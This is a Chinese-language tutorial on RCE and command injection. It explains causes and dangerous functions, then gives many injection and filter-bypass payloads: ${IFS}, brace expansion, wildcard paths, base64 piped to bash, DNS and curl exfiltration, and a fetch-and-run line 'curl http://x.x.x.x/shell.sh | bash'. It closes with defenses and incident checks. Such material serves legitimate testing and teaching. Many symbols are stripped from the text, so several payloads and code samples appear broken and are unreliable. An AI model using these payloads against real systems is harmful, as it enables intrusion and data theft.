
搞安全有些年头遇到过不少新人问同一个问题RCE到底是个什么东西为什么一个稀松平常的输入框最后能被玩出系统权限今天就把这块硬骨头从基础到绕过方式完整捋一遍标题里敢写“超详细”那内容就尽量不让你失望。RCE全称远程代码/命令执行通俗点讲就是攻击者能把一段代码或系统命令“喂”给服务器服务器还真的照单全收、执行出了结果。这篇文章适合刚入门的安全测试者、后端开发、运维同学看完你能搞懂漏洞产生的根因、常见的利用姿势、各种黑名单绕过思路以及踩过的坑和修复建议。先说清楚这篇文章所有内容仅用于授权测试、CTF、漏洞挖掘等合法合规的攻防学习场景。千万不能用在不该用的地方点到为止安全第一。1. RCE漏洞是什么从概念到危害1.1 一句话理解RCE我用大白话给RCE下个定义只要有用户可控的输入最终能溜到系统命令、代码解释器或者脚本引擎里去执行就可以算RCE漏洞。RCE可以分成两种极端形态一种是远程命令执行比如一个功能模块调用了操作系统命令攻击者就能把whoami、cat /etc/passwd这类命令拼进去执行另一种是远程代码执行比如程序把用户输入直接交给eval、include、assert这类函数处理攻击者喂进去一段PHP、Python、JavaScript代码服务器就去解析执行了。命令执行通常直接打在操作系统层代码执行则是先打穿应用层再往系统层渗透两者本质上都是“外部输入被当成了程序逻辑的一部分”。这是我最喜欢用来解释的一句话当你把用户的输入当成代码而不是数据你就已经把RCE的大门打开了一半。1.2 哪些场景最容易暴雷RCE不是凭空产生的绝大多数情况下它藏在“方便”的背后。开发者想让系统内部完成某些操作于是图省事直接调系统命令或者动态代码解释结果接口暴露给用户后就出事了。常见的暴雷场景包括文件导出、压缩、备份功能用了tar、zip、mysql命令文件名/路径参数没过滤。各种“Ping检测”“服务器状态检测”工具直接拼ping、netstat命令。视频转码、图片处理模块调ffmpeg、imagemagick而文件名没有校验。某些CMS的模板渲染、动态语言执行接口允许用户传入代码片段。API网关的日志查看、系统信息查询接口把参数直接拼进grep、cat命令。你看这些场景有一个共同特征开发时输入被当成“参数”运行时输入被当成“命令/代码”。危险边界就在这里。1.3 为什么RCE的危害等级直接拉满如果让我给漏洞危害排个序RCE基本常年霸榜前三。原因很简单RCE破坏的不是某个函数、某条数据而是整个服务器的执行边界。一句whoami你能知道当前进程权限一句sleep 30你能确认命令是否被执行一句curl http://x.x.x.x/shell.sh | bash你能直接给服务器装个远程控制后门。这还没算提权、内网横向、数据窃取、勒索部署的连锁反应。很多RCE的入口看起来只是“一个输入框”或者“一个文件名”但拿到它就相当于拿到了一把能开全部门锁的钥匙。而且RCE不一定需要前期多么精妙的利用链有时候一条系统特性、一个通配符就能绕过防御这也是后面要详细讲绕过方式的原因。2. 核心原理拆解命令注入与代码执行的本质2.1 从“正常功能”到“命令注入”很多人学RCE卡在原理上总觉得“开发者不会那么傻吧”。我跟你讲还真有这么傻这是非常普遍的现象。举个最常见例子某个运维后台有一个“批量Ping”功能前端传一个IP参数后端代码可能是这样写的?php $ip $_GET[ip]; system(ping -c 4 . $ip); ?单独看这段代码开发者本意是只允许像192.168.1.1这样的IP。但问题出在用户传入的字符串并没有跟系统命令本身区分开。当$ip 127.0.0.1;id时实际执行的就是ping -c 4 127.0.0.1;id分号的作用是命令分隔符先执行前面的ping再执行后面的id。而id的输出会跟着正常结果一起返回给用户“命令注入”就完成了。这套流程拆开看就是三步存在可控输入IP、文件名、参数值、请求头等。存在命令拼接代码里把输入直接拼入系统命令字符串。存在结果反馈命令执行的输出可能被显示在页面上也可能隐藏起来无回显RCE。如果把“系统命令拼接”换成“代码解释器执行”就是代码执行eval($_GET[code]);输入一段phpinfo()也能达到同样效果。2.2 哪些函数和入口是高危重灾区不同语言有各自的高危函数把它们记牢在做代码审计时能少走弯路。语言命令执行类函数代码执行类函数PHPsystem、exec、shell_exec、popen、proc_open、passthrueval、assert、preg_replace的/e模式、call_user_funcPythonos.system、os.popen、subprocess.*eval、exec、compileJavaRuntime.getRuntime().exec()、ProcessBuilderScriptEnginejavax.scriptJavaScript/Nodechild_process.exec、child_process.spawneval、FunctionShell/Windowscmd.exe /c、/bin/sh -c各种脚本解释器看到这些函数第一反应不是“禁用了就安全”而是要看开发者有没有把用户输入直接喂进去。即使函数本身是安全的拼接了外部输入同样可能出问题。我常说一句话高危函数是导火索用户输入是火药桶两者一旦碰面就是RCE。2.3 注入点的分类与判别在实战中注入点可以按输入位置分GET/POST参数最常见比如URL里的?file、?ip。请求体中的JSON/XML字段API接口里大量存在。上传文件名上传功能把文件名传给压缩或处理工具时容易踩坑。请求头User-Agent、Referer、X-Forwarded-For等有时候会被日志系统拼进命令。数据库存储值先通过SQL注入写入脏数据之后再被命令执行模块读取利用形成二次RCE。按判断难度分则可以分为有回显RCE、无回显RCE和盲RCE。有回显的很好理解执行结果直接出现在响应里无回显的要靠外带数据比如DNS请求、HTTP请求、写入Webshell来验证盲RCE则是完全不回显只能靠时间延迟、响应差异来判断命令是否执行成功。3. 超详细基础利用手法从小白到入门3.1 拼接命令的几种姿势如果说原理是骨架那具体利用手法就是血肉。这里不教怎么打一脸懵而是把最基础的“命令拼接”写法完整罗列清楚。最原始的方法是直接在参数后面跟上特殊字符和命令# 分号从左到右依次执行 ?ip127.0.0.1;whoami # 换行符在HTTP请求中用 %0a 编码 ?ip127.0.0.1%0awhoami # 与逻辑前面的命令执行成功才执行后面的 ?ip127.0.0.1whoami # 或逻辑前面的命令执行失败才执行后面的非常常用 ?ip127.0.0.1||whoami # 管道符把前面命令的输出作为后面命令的输入 ?ip127.0.0.1|whoami这里有个细节很多人会混要求前面命令执行成功才会执行后边||恰恰相反是“前面的失败了才走后面的”。实际测试中如果你拿不准前面的命令会不会因为参数异常而报错用||往往更容易触发。管道符|虽然常用于组合命令但要注意两边命令会同时执行后面的命令会接收前面的输出不一定适合所有场景。3.2 反引号与$()命令替换的妙用除了直接拼命令还有两种“命令替换”的玩法原理是先用内层命令执行再把执行结果拼到外层命令里。在Linux下id反引号包裹的内容会被当作命令执行。示例echo testid输出除了test后面会带上uidxxx。另一种更现代的是$()echo test$(id)$()的嵌套能力更强在绕过过滤时经常用来隐藏关键字。如果在Windows环境下也能用%COMMAND%或者用cmd /c执行不过总体而言Windowsshell的灵活性不如Linux高这也是很多攻击者更偏好Linux靶机的原因。3.3 有回显和无回显的基础判断判断一个RCE是否有回显是后续利用的关键。建议按这个顺序来测先丢一个一定存在的普通参数看返回内容里有没有异常。注入;id或|whoami看输出里有没有用户组信息。注入;echo RCTEST看页面是否出现标记字符串。如果没有回显测试时间延迟;sleep 5然后用浏览器或工具测响应耗时。如果时间延迟也没有尝试DNS外带比如;curl http://your-domain.dnslog.cn然后查DNS日志这里提醒仅限你自己的授权测试域名。我在测试阶段很少一上来就执行破坏性命令一般先用id、sleep 5、echo这类“无害探针”确认命令执行通道再考虑后续操作。3.4 利用条件与执行权限RCE能执行到什么程度还取决于运行Web服务的账户权限。Linux下多数Web服务跑在www-data这类低权限账户上命令虽然能执行但读不了/etc/shadow也写不了/etc/目录。Windows下如果是IIS AppPool账户权限同样受限。所以基础利用流程一般都是确认命令执行。查看当前用户id/whoami。查看系统信息uname -a/ver。尝试读取关键文件cat /etc/passwd或type c:\windows\win.ini。如果权限不够再考虑提权或反弹Shell这篇文章不展开提权链路只强调基础原则。4. 绕过方式全梳理突破空格、关键字、黑名单4.1 为什么需要绕过黑名单过滤很普遍很多开发者意识到RCE的危害后第一反应是“把危险字符过滤掉”。于是黑名单里躺着;、|、、空格、cat、ls之类的字眼。但现实是黑名单永远有缝而且缝还不小。我碰到过不少应用过滤了分号和管道符却完全没有防换行编码过滤了cat却没防tac过滤了空字符串却没防Tab键。绕过不是玄学是对操作系统特性和语言特性的理解。4.2 空格绕过的常用姿势空格是命令注入里最容易被过滤的字符因为它在命令中实在太常见。如果输入被过滤掉空格可以试试下面这些替代方案Linux下最推荐的是${IFS}IFS是shell的内部字段分隔符默认包含空格、Tab、换行。在命令中可以用${IFS}代替空格# 被过滤后的原始命令cat /etc/passwd cat${IFS}/etc/passwd # 也可以拼接多段id/bin/bash -c 也可以用 ls${IFS}-la${IFS}/tmp如果需要去掉空格但保持变量替换还有变体写法例如$IFS$IFS在某些解析器里相当于分隔符${IFS%??}能去掉前几个字符。这类细节因shell版本而异实战时多试几个组合就知道哪个有效了。Tab键Tab字符的ASCII码是%09在URL编码中可以直接使用。有些过滤逻辑只删了空格没删Tab这就给了我们空间# 用URL编码Tab ?ip127.0.0.1%09-a%09/etc/passwd重定向符和命令本身可以通过重定向符来读取文件比如cat/etc/passwd没有出现空格就完成了读取文件操作。这种方式还能顺带绕过空格过滤不过对命令本身的关键字过滤就无能为力了。花括号扩展Bash特性里{cat,/etc/passwd}会被展开成cat /etc/passwd。写法如下{cat,/etc/passwd} {ls,-la,/tmp}花括号扩展是一个很实用的绕过技巧至少能让你在没有空格的情况下完成大部分基础命令。4.3 关键字绕过的常见姿势当黑名单过滤了具体命令比如cat、ls、whoami思路就变了。我们要找的不是“完全不同的命令”而是“能表达同样目的但不在黑名单里的写法”。单引号/双引号分隔这种技巧最常见原理是shell解析时会去掉引号最终拼出来的命令仍然是有效命令# 被过滤的命令是 cat cat /etc/passwd cat /etc/passwd ca\\t /etc/passwd # 如果命令名带路径还能写成 /bin/cat不仅命令名字可以这样参数里的关键字也可以。比如whoami可以写成whoami。变量拼接用变量保存一部分字符串再在运行时拼接起来# 不用cat用变量拼接 ac;bat;$a$b /etc/passwd # 利用 $* 和 $ /???/???/c$at /etc/passwd$*和$在shell里代表所有参数但在没有参数时它们会变成空字符串所以c$at实际上就是cat。这个技巧的妙处在于过滤规则看到的是$实际执行时却是空。通配符Linux通配符可以匹配文件名和路径同时也能模糊掉命令关键字# 匹配cat同时绕过只过滤cat的规则 /???/??t /etc/passwd # 使用路径通配符 /bin/?at /etc/passwd?匹配单个字符*匹配任意字符。/???/??t可以匹配到/bin/cat因为bin是3个字符cat前两个字符任意、第三个是t。这种方式依赖系统路径和文件结构某些系统路径不同就未必好用但作为绕过思路值得记。编码与解码Linux下常用base64来做一层“翻译”# 先把命令base64编码再让shell解码执行 echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash这里的Y2F0IC9ldGMvcGFzc3dk就是cat /etc/passwd的Base64编码。过滤规则只会在请求内容里看到一串“Y2F0IC9ldGMvcGFzc3dk”没有黑名单关键字自然就放行了。同样的思路还能用xxd、printf、十六进制编码等方式。利用环境变量有些shell环境变量能帮我们带出命令比如$PATH本身就是一个字符串。更高级的玩法是结合${PATH:0:1}取路径中的第一个字符通常就是/从而动态构造路径# 构造斜杠 ${PATH:0:1} # 然后结合变量拼接 $(echo ${PATH:0:1}bin${PATH:0:1}cat) /etc/passwd这种写法的重点是绕过滤规则对特殊字符的直接检测实质还是“字符串拼接”。4.4 黑名单绕过的进阶组合拳绕过单个过滤规则不难难的是多规则同时过滤。比如既要过滤空格又过滤cat还过滤;和|怎么办组合方案一花括号扩展变量拼接。{cat,/etc/passwd}但是cat被过滤了于是配上变量拼接{cat,/etc/passwd}花括号展开后还是cat /etc/passwd。如果分号被过滤还可以用换行符%0a把命令拆开。组合方案二Base64整体编码后执行。echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash这样整个payload里没有空格、没有cat只有纯字母和管道符号。但管道符如果也被过滤可以换写法$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d) /etc/passwd组合方案三利用shell的read从文件读取再执行。这种偏冷门需要环境支持我就不展开代码了。核心思路是命令解析具有“先还原再执行”的特点过滤规则永远在猜而解析器永远在还原。你只要找到一个还原顺序比过滤规则靠后的写法就能绕过。4.5 无回显场景下的“偷数据”技巧无回显不代表命令没执行。在这种场景下核心任务变成“如何把执行结果传出来”。常见思路有三种写文件如果Web目录可写最简单的方式是把命令输出重定向到Web根目录下的文件里然后浏览器访问whoami /var/www/html/result.txt # 或者用命令把结果写进一个静态文件 cat /etc/passwd /var/www/html/tmp.txt前提是进程要对该目录有写权限。实战中最常见的路径是/tmp和/var/tmp能不能被Web访问到要看具体配置。时间盲注用sleep或复杂的耗时运算来“编码”数据。比如if [ $(id -u) -eq 0 ]; then sleep 10; else sleep 1; fi通过响应时间差异可以逐位判断条件是否成立。这个写法比较慢但适合极低权限的盲打场景。DNS外带这是我最推荐的外带方式因为它不依赖Web目录权限也不怕防火墙限制HTTP出站前提是目标服务器允许DNS解析。标准玩法是把自己的域名解析记录设置为DNSLog服务然后命令里拼一段子域名whoami.你的专属域名.dnslog.cn当目标服务器执行DNS查询时DNSLog平台就能收到主机名前缀等于把whoami的输出内容带了出来。这里所有域名、DNSLog服务仅限授权测试环境使用不要拿别人的在线工具做违规测试。4.6 绕过技巧速查表过滤目标绕过方式一绕过方式二绕过方式三空格${IFS}Tab%09花括号{cat,/etc/passwd}catcat\t反斜杠插值tac反向读文件;%0a换行或||$()命令替换用||或%0a用反引号cmd多个关键字Base64编码执行变量拼接通配符编码组合全部符号过滤写Webshell后访问写文件到可读目录DNS外带这张表没法覆盖所有情况核心是提供一个查漏补缺的思路。记住过滤规则在明shell解析在暗多试试组合总比硬刚一个规则有效。5. 防御与修复建议怎么把洞堵上5.1 最根上的办法不用命令执行函数防御RCE最好的方式不是“过滤得更完善”而是从根上减少命令执行函数的使用。比如需要检查网络连通性用PHP的fsockopen、Python的requests、Java的InetAddress就能替代ping命令需要转换图片直接用对应的图像处理库而不是调用外部ffmpeg需要打包下载用语言自带的压缩库而不是调tar命令。很多RCE起源于“为了省事调系统命令”但省下的开发时间往往会在安全测试阶段以几何级数还回去。如果确实无法避免要调命令也要遵循下面几条。5.2 白名单优先黑名单永远有缝黑名单是一种“事后防御”永远滞后于攻击手法。我见过有人用正则干掉空格和分号结果被人用Tab和换行绕过去有人过滤了cat结果tac一样能读文件。更可靠的做法是做白名单。如果接口只允许0-9、.、-组成参数那其他任何字符一律拒绝if (!preg_match(/^[\d\.]$/, $ip)) { die(invalid ip); }这样才能从根上杜绝命令拼接。如果业务决定了参数必须包含字母和路径符号那就把允许的字符范围压到最小同时对整个命令拼接结果做正则校验。5.3 别迷信“转义函数”很多开发同学会用语言自带的转义函数比如PHP的escapeshellarg。这里特别提醒转义函数只能处理“参数”部分不能处理“命令拼接”部分。具体来说escapeshellarg会把参数包上单引号并转义参数内部的单引号但它拦不住分隔符。如果你把整个命令字符串拼好后再做转义也会因为转义函数自身的行为导致逻辑混乱。最好的使用方法是对每个参数单独转义并且仍然优先使用参数数组方式传参不要拼接成字符串再执行。以Pythonsubprocess为例正确写法是传参数列表subprocess.run([ping, -c, 4, ip], capture_outputTrue)而不是把所有参数拼成一个字符串再交给shellTrue。shellTrue意味着整条字符串会被系统shell解析这种模式下的注入面巨大。5.4 权限与隔离把炸弹关进保险柜除了代码层面运行环境也要做纵深防御Web服务进程使用最小权限账户不要用root或SYSTEM跑服务。将命令执行的容器或进程放进独立沙箱比如Docker、seccomp、SELinux/AppArmor。限制Web服务出站流量避免DNS外带、HTTP外带等数据泄露手段生效。关键业务模块独立部署即使某个模块被打穿也不能直接访问核心数据库。这些措施不能防止RCE但能大大降低RCE之后被“全盘接管”的概率。安全从来不是一道墙而是多层防线。5.5 检测与排查技巧实录如果怀疑系统已经被RCE打了该怎么查我习惯按下面这个顺序做初步排查看Web访问日志搜索请求参数里的危险字符如;、|、、%0a、${IFS}、base64等。找可疑的进程和连接在服务器上执行top、ps aux、netstat -an看有没有异常的反弹Shell进程和出站连接。查Web根目录找最近修改时间可疑的文件尤其是shell.php、cmd.php、tmp.txt这类名字。查看系统命令历史检查/root/.bash_history、~/.bash_history看有没有不明命令记录。排查定时任务有些后门会通过cron持久化一定要检查/etc/crontab和用户级crontab。如果确认被入侵正确动作是先断开对外连接、保留现场、收集样本再联系应急响应团队。不要一边分析一边启动生产服务更不要直接全盘格式化那样会毁掉取证线索。5.6 常见问题速查表问题原因解法过滤了分号仍然被打换行符%0a没过滤对参数做白名单校验不依赖黑名单过滤了cat还是读到文件用tac、more、less等替代命令拒绝任何可疑命令关键字采用白名单过滤了空格但是依然命令注入Tab、${IFS}、重定向符可以替代空格统一校验参数类型预先定义接受格式escapeshellarg了还是被注入转义函数管不了命令拼接优先使用参数数组、避免shellTrue无回显不知道命令是否执行成功没有做通道验证使用sleep时间盲注、写文件、DNS外带来验证Web目录权限过高导致被写后门进程权限太大最小权限运行Web目录禁止写入动态文件6. 实操心得从踩坑到总结说了这么多理论和技巧最后聊几个我实际遇到的细节。第一个教训是不要小看通配符。有次测试某后台规则过滤了cat、ls、whoami我随手用了/???/??t /???/passwd居然直接读到了/etc/passwd。这种“猜路径”的玩法看着粗糙但成功率一点都不低。第二个心得是做绕过时永远准备多个Payload轮着试。很多新手喜欢死磕一种写法试不出来就觉得漏洞不存在。实际上RCE利用的成败跟shell版本、系统环境、编码返回、过滤顺序都有关系灵活变通比一招鲜更重要。第三个经验是最好在本地搭个环境先验证一遍。你可以在自己电脑上装个虚拟机搭个带过滤规则的小靶场把空格绕过、关键字绕过、无回显外带都完整测一遍。验证过、理解了原理再面对真实授权测试时就会稳得多。RCE这块内容学起来确实有点绕但一旦把“输入如何变成命令”这条链路彻底想通你不但能理解漏洞本身也会对代码设计里的“数据与代码分离”原则有更深的体会。希望这篇文章能帮你把基础打牢以后无论是审计代码还是排查问题心里都能有底。